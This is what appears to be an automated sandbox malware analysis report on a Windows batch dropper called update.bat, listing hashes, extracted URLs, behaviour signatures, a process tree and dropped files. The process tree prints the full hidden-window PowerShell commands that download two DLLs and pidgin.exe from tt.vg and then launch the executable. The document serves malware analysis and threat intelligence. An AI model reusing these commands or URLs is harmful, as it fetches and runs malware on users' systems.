Analysis

  • max time kernel
    151s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    13-10-2023 03:10

General

  • Target

    update.bat

  • Size

    6KB

  • MD5

    97b7c88a02b2a5214d742b7ed50f4544

  • SHA1

    15bf7dd44049b94db1a82504802ead45f6186fa0

  • SHA256

    20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6

  • SHA512

    918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25

  • SSDEEP

    192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3880

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b6b62fabc50bfae977635bcebb14c566

    SHA1

    653628f0db5229d9136ee897e92bedba3b1d91aa

    SHA256

    bd5e81d2c243ab6465ad978a5124f723b6518c08d63e4ebb386a564ebf3384be

    SHA512

    9bbbbdd9b0571e55065751e2100b21685ef630641bedf53e6a1c8b3ec96606c378ec53d732500e7dc17ae6e3a1b4d37f2fdbec8e493f6bdf10e4b829dad5962f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bhbnfu1q.bkq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\pidgin.exe

    Filesize

    67KB

    MD5

    0d635a20bf0431cbb964009ad3fc6159

    SHA1

    e8c816ab770b29a9cfe75d45e338597821a5d5e8

    SHA256

    19768f3c96197f90589a3e852ce074a44041f37aaf1bd49db81450c625aaa2c2

    SHA512

    9f00e727df810a96f51527b48f279f84d3bab290dcb0b3e8d0a96c8f80c7312688db86f187b4a57bc43a42c235495a1a864da12f292fc832a9dec3793b857715

  • memory/3880-47-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

    Filesize

    10.8MB

  • memory/3880-45-0x0000019EB7820000-0x0000019EB783E000-memory.dmp

    Filesize

    120KB

  • memory/3880-37-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

    Filesize

    64KB

  • memory/3880-43-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

    Filesize

    64KB

  • memory/3880-31-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

    Filesize

    64KB

  • memory/3880-30-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

    Filesize

    10.8MB

  • memory/4732-13-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

    Filesize

    64KB

  • memory/4732-19-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

    Filesize

    64KB

  • memory/4732-25-0x000001E4AC4A0000-0x000001E4AC5A2000-memory.dmp

    Filesize

    1.0MB

  • memory/4732-26-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

    Filesize

    10.8MB

  • memory/4732-18-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

    Filesize

    64KB

  • memory/4732-17-0x000001E4AC4A0000-0x000001E4AC5A2000-memory.dmp

    Filesize

    1.0MB

  • memory/4732-16-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

    Filesize

    64KB

  • memory/4732-15-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

    Filesize

    10.8MB

  • memory/4732-14-0x000001E4AC5B0000-0x000001E4AC6B2000-memory.dmp

    Filesize

    1.0MB

  • memory/4732-0-0x000001E4AC310000-0x000001E4AC392000-memory.dmp

    Filesize

    520KB

  • memory/4732-12-0x000001E493F10000-0x000001E493F20000-memory.dmp

    Filesize

    64KB

  • memory/4732-8-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

    Filesize

    10.8MB

  • memory/4732-6-0x000001E493F80000-0x000001E493FA2000-memory.dmp

    Filesize

    136KB